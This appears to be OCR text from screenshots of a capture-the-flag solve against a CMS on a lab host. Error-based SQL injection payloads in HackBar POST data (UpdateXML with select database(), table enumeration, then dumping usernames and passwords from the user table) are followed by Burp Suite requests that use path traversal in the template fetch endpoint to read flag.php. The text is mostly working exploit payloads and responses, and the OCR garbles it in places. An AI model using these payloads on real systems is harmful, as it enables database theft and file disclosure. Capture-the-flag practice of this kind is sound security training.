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Encryption v  Encoding v  Other «
i@ Load URL http://2288dc3709514¢708665247af0070463ee7275a18d124db6.game.ichungiu.com/celive/live/header.php
§ spit URL
» Exccute Post data [] Referrer [] User Agent [] Cookies
Post Data xajax=Postdatadxajaxargs[0]=<xjxquery><q>detail=1',(UpdateXML(1,CONCAT(0x7e,(select database()),0x7e),1)), NULL,NULL,NULL ,NULL NULL NULL}# </q></xjxquery>
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XPATH syntax error: '~Yeser~'

INSERT INTO “yesercms detail’ (‘chatid’, detail, who witter’) VALUES(","1" (UpdateXML(1,CONCAT(Ox7e,(select database()),0x7¢),1)), NULL,NULL NULL,NULL, NULL,NULL)# (2018-06-13 16:15:26)’,'2")
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Encryption v Encoding ~  Other ~ HackBar v1
‘@ Load URL http://2288dc3709514¢708665247af0070463ee7275a18d124db6.game.ichungiu.com/celive/live/header.php
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+) Execute

Post data (] Referrer [] User Agent[] Cookies

Post Data

ajax=P j gs[0]=<xjxquery><g>detail=1',(UpdateXML(1,CONCAT(Ox7e,(  mid((select group_concat(table_name) from information_schema.tables where table_schema = database()),0,32) ),0x7e),1))
J# <lq><Ixjxquery>
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42 nserid

43 ,usernanme
44 ,password
45  ,nickname
46 ,groupid
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45 ,avatar
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http://2288dc3709514c708665247af0070463ee7275a18d124db6.game.ichungiu.com/celive/live/header.php

Post data [[] Referrer [] User Agent[] Cookies

xajax=Postdata&xajaxargs[0]=<xjxquery><g>detail=1",(UpdateXML(1,CONCAT(0x7e,(  mid((select count(*) from yesercms_user),1,32) ),0x7€),1) ) J# </q></xjxquery>

AT R EusernameFpassword

Encoding v  Other v

http://2288dc3709514c708665247af0070463ee7275a18d124db6 .game.ichungiu.com/celive/live/header.php

Post data [] Referrer [] User Agent[] Cookies

Xaj; j jxquery><g il=1',(UpdateXML(1,CONCAT(0x7e,(  mid((select group_concat(usemame,password) from yesercms_user),1,32) ),0x7e),1) ) J# </q></xjxquery>
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Target | Proxy. | Spider | Scanner | Intruder | Repeater T Sequencer I Decoder I Comparer TExtendev T Praject options TUﬁsr aptions | Alerts
Jlmemept 1 HTTP history ] WebSockets history | Options

w Request to http://2288dc3709514c708665247af0070463ee7275a18d124db6 game ichungiu.com:80 [106.39 208 9]
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POST fincex_php dmin_ HTTR/1 1
Host: 2288dc3709514c708665247af0070463227275a18d124dbE game.ichungiu.com

UserAgent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:61.0) Gecko/20100101 Firefox/51.0

Accept: application/json, text/javascript, “/*

Accept-Language: zh-CN,zh;q=0.8 2h-TW,q=0.7,zh-HK; g=0.5 en-US; =03 en; ¢=0.2

Accept-Encoding: gzip, deflate

Referer: http://2288dc3709514c7 08666247 af0070463ee7 275a18d124db6 game.ichungiu. comfindex. php t=edit&ad

Content-Type: application/x-www-form-urlencaded

X-Requested-With: XMLHitpRequest

Content-Length: 16

Cookie: UM_distinctid=1638330d2026-0952269h 4180aa8-46312b7b-144000- 163833030 14a; pgv_p : chkpl NpxhQpDi qyiQuDIO0000;

Hm_ivt_2d0801 bd28de7 d49618249cf35d95943=1520626663,1526640361 1528766414, 15268872847, Hm_hvt_9104989ce242a8e03049eacecads0328=1526419450,1528591693,1528609053,1528768416;
browse=CFlaTxUYUDJRWBPXOhTVITTWU1 DAVI Y WFBIRVALXENTUIpXVRhTA ThWUEIVAINEUFIKRISAUVhIVUVEXVFZTFNWX09e QEtOF A, ci_session=92a1787 157 fbcd5e949995 184548227 e3h8a;
pgv_si=s2682193152; Hm_lpvt_2d0B01 bd28de? d498168249cf35096943=1528672887; PHPSESSID=b3834a" cfeearads68aa617d787 e38a0; login_usemame=admin;

login_p 4c391a792:9db3aad! d2cdd; style=skin2;

passinfo=%E5%B5%B0% E8 %B4%B3 % E¥ %83 %88 +%3Ca+href%3D %22 http %3A%2F %2Fwww cmseasy. cn%2F service 1. htm|%22+target %30%22_blank %22 %3E %3 Cfont+color%3D%22green%22%3E%26 %
EB%B4%AD%E4%B3 %B0% E6%8E %88 % E6 %90 %83%29%3C%2Ffant%3E %3C %2F a%3E

Connection: close

&id=#hezader_html ﬁ..__\
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nal v1.7.30 - Temporary Project - licensed to Larry Lau

Burp Intruder Repeater Window Help
Target | Proxy | Spider I Scanner T Intruder TRepeatel T Sequencer I Decoder T Comparer I Extender T Project options T User options | Alerts
1% (2% |3 x |4x (5= (UG .
l Go J Cancel l < |r J >|r Target: http://2288dc3709514c708665247af0070463ee7275a18d124db6.game.ichungiu.com | # ?
Request Response
Raw | Params | Headers | Hex Headers | Hex
POST findex.php?case=template&act=fetch&admin_di=admingsite=default HTTP/1.1 A HTTP/1.1 200 OK A
Host: 2288dc3709514c708665247 2007046327 275a18d124db6. game.ichungiu.com 1 Server: nginx/1.10.2 r
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4, x64; n:61.0) Gecko/20100101 Firefox/61.0 Date: Wed, 13 Jun 2018 09:31:56 GMT
Accept: application/json, textfjavascript, */* Content-Type: text/html; charset=utf-8
Accept-Language: zh-CN,zh;g=0.8,zh-TW, =07 zh-HK;q=0.5,en-US;q=0.3 en,q=0.2 Content-Length: 267
Accept-Encoding: gzip, deflate Connection: close
Referer: Pragma: no-cache
http://2288dc3709514 708665247 af0070463ee7275a18d124db6.game.ichungiu.com/findex. php?case= Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
templatedact=edit&admin_dimadmin&site=default Expires: Thu, 19 Nov 1981 08:52.00 GMT
Content-Type: application/sx-www-form-urlencoded
X-Requested-With: XMLHttpRequest {"content™"<textarea rows=\"20\" cols=\"78\" id=\"..\/..\Vflag. php_content\" style=\"fant-family:
Content-Length: 19 Fixedsys verdana “: (% font-size: 12px;\" name=\"..\/._Vflag. php_content\"><?php\necho flag is
Cookie: UM_distinctid=163e8330d2c26-0952269h4180aa8-4c31207h-144000-16328330d30144; here' \nflag{244a6008-c12h-4831-a042-488:/69a8878) \n<\textarea=>"}
pov_pvi=B968697856; chkphone=acWxMNpxhQpDiAchhNuSnEqyiQuDIO0000;
Hrm_hvt_2d0601 bd28de7 d49818249cf35d95943=1528626663 1528640361 1526768414 ,1528872847;
Hm_lvt_9104989ce242a5=03049eacecad50326=1528419480 1528591693 1528609053, 1525768416,
browse=CFlaTxUYUOJRWBLPXOhTVHTWU1 DOWI YW BIRVALXENTUIpXWVRATQT RVWUEIVAINEUF]
KR1SAUVhZVUVEXVFZTFNWX09e QEtOF A,
ci_session=92a1787157fhcd5e949995d1845 df9227 e3b8a; pgu_si=s2562193152;
Hm_lpvt_2d0601bd2Bde? d49816249cf35d95943=152887 2887,
PHPSESSID=b3834a1cfcearals88aab17d787e38a0; login_username=admin;
login_password=a9418d9844c391a79ae3dhYaad 1 d2cdd; style=skin2;
passinfo=%E5%85%80%ES % B4 %B3%ET %83%88 +%3Ca+href%30%22http%3A%2F %2Fuw. cm
seasy.cn%2Fsenvice_1 html%22+target%30%22_hlank%22%3E%3Clont+color%30%22green%22%
3E%25%ES % B4 %AD%E4 %BI%B0%EE%EE %88 %EE%ID %E3 %29 %3 C%2Ffont %3E%3C%2Fa%
3E
Connection: close
&id=#. /.. Mag.php
= -
L L]
? < + > “ 0 matches ? < + > Type a search term 0 matches
Done 562 bytes | 63 millis
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